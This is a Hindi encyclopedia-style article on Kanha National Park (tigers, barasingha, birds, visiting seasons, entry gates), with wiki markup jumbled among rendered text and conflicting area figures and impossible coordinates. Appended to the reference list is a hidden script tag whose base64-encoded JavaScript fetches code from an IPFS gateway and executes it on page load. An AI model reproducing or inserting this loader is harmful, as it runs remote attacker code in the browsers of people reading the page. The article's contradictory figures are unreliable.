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*आज की तारीख़ में बारासिंघा, कान्हा राष्ट्रीय उद्यान के अलावा दुनियां में कहीं भी नहीं मिलता। [[बारासिंघा]] के बारे में बात बाद में करेंगे, पहले कान्हा बाघ आरक्ष के बारे में कुछ जान लेते हैं।
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{{सूचना बक्सा पर्यटन
*कान्हा राष्ट्रीय उद्यान [[भारत]] के [[मध्य प्रदेश]] राज्य में स्थित है। कान्हा बाघ आरक्ष 1,949 वर्ग किलोमीटर में फैला है। इसके दो वन मंडल हैं, कोर क्षेत्र और बफ़र क्षेत्र।
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*कोर क्षेत्र जिसमें कि यह राष्ट्रीय उद्यान स्थित है, उस का क्षेत्रफल है 940 वर्ग किलोमीटर और बफ़र क्षेत्र (बहुउपयोगीय क्षेत्र) का क्षेत्रफल है 1,009 वर्ग किलोमीटर।
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|चित्र का नाम=कान्हा राष्ट्रीय उद्यान
*कान्हा राष्ट्रीय उद्यान रेखांश 80<sup>०</sup> 26' 10'' से 81<sup>०</sup> 4' 40'' के बीच और अक्षांश 80<sup>०</sup> 15' से 81<sup>०</sup> 27' 48'' के बीच स्थित है।  
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|विवरण='कान्हा राष्ट्रीय उद्यान' [[मध्य प्रदेश]] राज्य में स्थित मुख्यत: एक [[बाघ]] अभयारण्य है। इस अभयारण्य में दुर्लभ [[बारहसिंगा]] भी पाया जाता है, जो सम्पूर्ण विश्व में और कहीं नहीं मिलता।
*कान्हा बाघ आरक्ष विश्व के सर्वोत्तम संरक्षित वन्य जीव स्थलों में से एक है।  कान्हा का बारासिंघा, दलदली हिरण यानी रेन डीयर (सर्वस डुवाउसेली) की एक उपप्रजाति है। इसने अपने आप को यहां की सख़्त ज़मीन पर रहने के लिए ढाल लिया है।  
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'''कान्हा राष्ट्रीय उद्यान''' [[भारत]] के [[मध्य प्रदेश]] राज्य में स्थित है। यह मुख्यत: एक [[बाघ]] अभयारण्य है, जो 2051.74 वर्ग किलोमीटर क्षेत्र में फैला हुआ है। इस अभयारण्य का मूल्यांकन [[एशिया]] के सबसे अच्छे उद्यान के रूप में होता । 'कान्हा अभयारण्य' में घास के मैदान, [[साल वृक्ष|साल]] के पेड़ और [[बांस]] के जंगल, वन्यजीवन के लिए मानो स्वर्ग हैं। इस राष्ट्रीय उद्यान में बाघ का मुक्त संचार है, जो अभयारण्य के उद्देश्य को सफल साबित करता है। इस अभयारण्य में दुर्लभ [[बारहसिंगा]] भी पाया जाता है, जो सम्पूर्ण विश्व में और कहीं नहीं मिलता। वन्य जीवों के साथ-साथ इस अभयारण्य में पक्षियों की 300 से भी अधिक प्रजातियाँ पाई जाती हैं।
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वन्य जीवन की सभी आश्चर्यजनक विविधता के साथ 'कान्हा राष्ट्रीय उद्यान' [[बाघ]] के निवास के लिए विशेष रूप में जाना जाता है। मध्य [[भारत]] मे ऊंचाईं पर बसा यह सबसे ख़ूबसूरत स्थान [[मंडला]] और [[बालाघाट ज़िला|बालाघाट ज़िलों]] में स्थित है। सन [[1935]] से आज तक देश के सबसे पुराने अभयारण्यों में से एक होने के साथ इस स्थान के वन्य जीवन के संरक्षण का एक लंबा [[इतिहास]] रहा है, जो वास्तव में गर्व की बात है। विश्व पर्यटन के नक्शे पर इस राष्ट्रीय उद्यान ने अपनी एक जगह बना ली है। बाघों के साथ बारसिंगा भी यहाँ का अनमोल [[रत्न]] है। किसी समय विलुप्त होने की दहलीज पर खडा दुर्लभ बारहसिंगा अब कान्हा राष्ट्रीय उद्यान में अपने प्राकृतिक निवास स्थान में प्रचुर मात्रा में पाया जाता है।<ref name="aa">{{cite web |url=http://www.mp.gov.in/web/guest/wildlife|title=कान्हा बाघ अभयारण्य|accessmonthday=24 जुलाई|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref>
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इस अभयारण्य के दो वनमंडल हैं-
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'कान्हा राष्ट्रीय उद्यान' का यह बाघ अभयारण्य 2051.74 वर्ग कि.मी. पर फैला है, जिसमें 917.43 वर्ग कि.मी. कोर, 1134.31 वर्ग कि.मी. बफ़र जोन और 110.74 वर्ग कि.मी. उपग्रह मिनीकोर क्षेत्र शामिल हैं। बाघ अभयारण्य के कोर क्षेत्र में मानवी गतिविधियाँ प्रतिबंधित की गई हैं और यहाँ [[बाघ]] को आजाद माहौल में घूमते हुए देखा जा सकता है। 'कान्हा राष्ट्रीय उद्यान' रेखांश 80 26 10 से 81 4 40 के बीच और [[अक्षांश]] 80 1 5 से 81 27 48 के बीच स्थित है।
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यहाँ पक्षियों की 300 प्रजातियाँ पाई जाती हैं, जिनमें [[मोर]], इग्रेट (एक प्रकार के काले पक्षी), गाने वाले पक्षी, हरे कबूतर, [[गरुड़]], बाज़, पेड़ पाई आदि शामिल है। जल पक्षियों को उद्यान में कई नाले और पूलों के पास देखा जा सकता है। यह उद्यान [[16 अक्टूबर]] से [[30 जून]] तक खुला रहता है। [[फ़रवरी]] और [[जून]] के बीच की अवधि कान्हा की यात्रा का आदर्श समय होता है। [[मानसून]] के मौसम में [[1 जुलाई]] से [[15 अक्टूबर]] तक यह उद्यान बन्द रखा जाता है।
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==कैसे पहुँचें==
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[[मंडला]] और [[जबलपुर]] शहर से सड़क मार्ग द्वारा 'कान्हा राष्ट्रीय उद्यान' तक पहुँचा जा सकता है। इस [[बाघ]] अभयारण्य में प्रवेश के लिए खतियाँ (किसली से 3 कि.मी. और मंडला से 68 कि.मी.); मंडला और मुक्की की ओर (बालाघाट से 82 कि.मी.); तथा बालाघाट और सर्ही की ओर (जबलपुर से 150 कि.मी.) यह तीन प्रवेश द्वार हैं। साथ ही जबलपुर एक सुविधाजनक रेल स्थानक रहेगा। [[जबलपुर]] और [[नागपुर]] में निकटतम हवाई अड्डे स्थित हैं। जबलपुर से किसली और मुक्की तक तथा वहाँ से वापसी के लिए दैनिक बस सेवा उपलब्ध है। अभयारण्य के पर्यटन क्षेत्र में सूर्योदय और सूर्यास्त के बीच पर्यटकों को अनुमति दी जाती है।<ref name="aa"/>
  
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{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
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चित्र:Kanha-National-Park-2.jpg|हिरन, कान्हा राष्ट्रीय उद्यान
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चित्र:Kanha-National-Park-3.jpg|कान्हा राष्ट्रीय उद्यान
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==टीका टिप्पणी और संदर्भ==
 
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*[http://www.webhush.com/2009/04/18/kanha-national-park-madhya-pradesh/ Kanha National Park – Madhya Pradesh]
 
*[http://www.webhush.com/2009/04/18/kanha-national-park-madhya-pradesh/ Kanha National Park – Madhya Pradesh]
 
*[http://www.indiatouristspots.com/wildlife/kanha-national-park.html Kanha National Park]
 
*[http://www.indiatouristspots.com/wildlife/kanha-national-park.html Kanha National Park]
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14:28, 2 सितम्बर 2013 के समय का अवतरण

कान्हा राष्ट्रीय उद्यान
कान्हा राष्ट्रीय उद्यान
विवरण 'कान्हा राष्ट्रीय उद्यान' मध्य प्रदेश राज्य में स्थित मुख्यत: एक बाघ अभयारण्य है। इस अभयारण्य में दुर्लभ बारहसिंगा भी पाया जाता है, जो सम्पूर्ण विश्व में और कहीं नहीं मिलता।
राज्य मध्य प्रदेश
ज़िला मंडला और बालाघाट
स्थापना 1935
कब जाएँ 16 अक्टूबर से 30 जून
हवाई अड्डा जबलपुर और नागपुर
रेलवे स्टेशन जबलपुर
संबंधित लेख मध्य प्रदेश, बाघ, बारहसिंगा


अन्य जानकारी अभयारण्य के पर्यटन क्षेत्र में सूर्योदय और सूर्यास्त के बीच पर्यटकों को अनुमति दी जाती है। मानसून के मौसम में 1 जुलाई से 15 अक्टूबर तक यह उद्यान बन्द रखा जाता है।

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कान्हा राष्ट्रीय उद्यान भारत के मध्य प्रदेश राज्य में स्थित है। यह मुख्यत: एक बाघ अभयारण्य है, जो 2051.74 वर्ग किलोमीटर क्षेत्र में फैला हुआ है। इस अभयारण्य का मूल्यांकन एशिया के सबसे अच्छे उद्यान के रूप में होता । 'कान्हा अभयारण्य' में घास के मैदान, साल के पेड़ और बांस के जंगल, वन्यजीवन के लिए मानो स्वर्ग हैं। इस राष्ट्रीय उद्यान में बाघ का मुक्त संचार है, जो अभयारण्य के उद्देश्य को सफल साबित करता है। इस अभयारण्य में दुर्लभ बारहसिंगा भी पाया जाता है, जो सम्पूर्ण विश्व में और कहीं नहीं मिलता। वन्य जीवों के साथ-साथ इस अभयारण्य में पक्षियों की 300 से भी अधिक प्रजातियाँ पाई जाती हैं।

स्थिति

वन्य जीवन की सभी आश्चर्यजनक विविधता के साथ 'कान्हा राष्ट्रीय उद्यान' बाघ के निवास के लिए विशेष रूप में जाना जाता है। मध्य भारत मे ऊंचाईं पर बसा यह सबसे ख़ूबसूरत स्थान मंडला और बालाघाट ज़िलों में स्थित है। सन 1935 से आज तक देश के सबसे पुराने अभयारण्यों में से एक होने के साथ इस स्थान के वन्य जीवन के संरक्षण का एक लंबा इतिहास रहा है, जो वास्तव में गर्व की बात है। विश्व पर्यटन के नक्शे पर इस राष्ट्रीय उद्यान ने अपनी एक जगह बना ली है। बाघों के साथ बारसिंगा भी यहाँ का अनमोल रत्न है। किसी समय विलुप्त होने की दहलीज पर खडा दुर्लभ बारहसिंगा अब कान्हा राष्ट्रीय उद्यान में अपने प्राकृतिक निवास स्थान में प्रचुर मात्रा में पाया जाता है।[1]

वनमंडल

इस अभयारण्य के दो वनमंडल हैं-

  1. कोर क्षेत्र
  2. बफ़र क्षेत्र

'कान्हा राष्ट्रीय उद्यान' का यह बाघ अभयारण्य 2051.74 वर्ग कि.मी. पर फैला है, जिसमें 917.43 वर्ग कि.मी. कोर, 1134.31 वर्ग कि.मी. बफ़र जोन और 110.74 वर्ग कि.मी. उपग्रह मिनीकोर क्षेत्र शामिल हैं। बाघ अभयारण्य के कोर क्षेत्र में मानवी गतिविधियाँ प्रतिबंधित की गई हैं और यहाँ बाघ को आजाद माहौल में घूमते हुए देखा जा सकता है। 'कान्हा राष्ट्रीय उद्यान' रेखांश 80 26 10 से 81 4 40 के बीच और अक्षांश 80 1 5 से 81 27 48 के बीच स्थित है।

जीव-जंतु

इस राष्ट्रीय उद्यान से बंजर और हेलॉन नदियाँ बहती हैं, जिनमें से हेलॉन बारहमासी है। यहाँ बनाई गई कई टंकीयाँ और बाँध भी वन्य जीवन के लिए पानी की आपूर्ति के प्रमुख स्रोत हैं। उद्यान के अंदर फैला हुआ वन प्रमुखता से उष्ण कटिबंधीय नम पर्णपाती प्रकार का है। कान्हा में स्तनधारियों की 22 प्रजातियाँ है। यहाँ के अन्य निवासियों में चीतल, सांभर, भौंकने वाले हिरण, बारहसिंगा, काले हिरण, नील गाय और गौर जैसी हिरण और मृग की प्रजातियाँ पायी जाती हैं। अन्य निवासियों में सुस्त भालू तथा जंगली कुत्तें, सियार और धारीदार लकड़बग्घें जैसे शिकारी शामिल हैं।[1]

पक्षी

यहाँ पक्षियों की 300 प्रजातियाँ पाई जाती हैं, जिनमें मोर, इग्रेट (एक प्रकार के काले पक्षी), गाने वाले पक्षी, हरे कबूतर, गरुड़, बाज़, पेड़ पाई आदि शामिल है। जल पक्षियों को उद्यान में कई नाले और पूलों के पास देखा जा सकता है। यह उद्यान 16 अक्टूबर से 30 जून तक खुला रहता है। फ़रवरी और जून के बीच की अवधि कान्हा की यात्रा का आदर्श समय होता है। मानसून के मौसम में 1 जुलाई से 15 अक्टूबर तक यह उद्यान बन्द रखा जाता है।

कैसे पहुँचें

मंडला और जबलपुर शहर से सड़क मार्ग द्वारा 'कान्हा राष्ट्रीय उद्यान' तक पहुँचा जा सकता है। इस बाघ अभयारण्य में प्रवेश के लिए खतियाँ (किसली से 3 कि.मी. और मंडला से 68 कि.मी.); मंडला और मुक्की की ओर (बालाघाट से 82 कि.मी.); तथा बालाघाट और सर्ही की ओर (जबलपुर से 150 कि.मी.) यह तीन प्रवेश द्वार हैं। साथ ही जबलपुर एक सुविधाजनक रेल स्थानक रहेगा। जबलपुर और नागपुर में निकटतम हवाई अड्डे स्थित हैं। जबलपुर से किसली और मुक्की तक तथा वहाँ से वापसी के लिए दैनिक बस सेवा उपलब्ध है। अभयारण्य के पर्यटन क्षेत्र में सूर्योदय और सूर्यास्त के बीच पर्यटकों को अनुमति दी जाती है।[1]


पन्ने की प्रगति अवस्था
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वीथिका

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 कान्हा बाघ अभयारण्य (हिन्दी)। । अभिगमन तिथि: 24 जुलाई, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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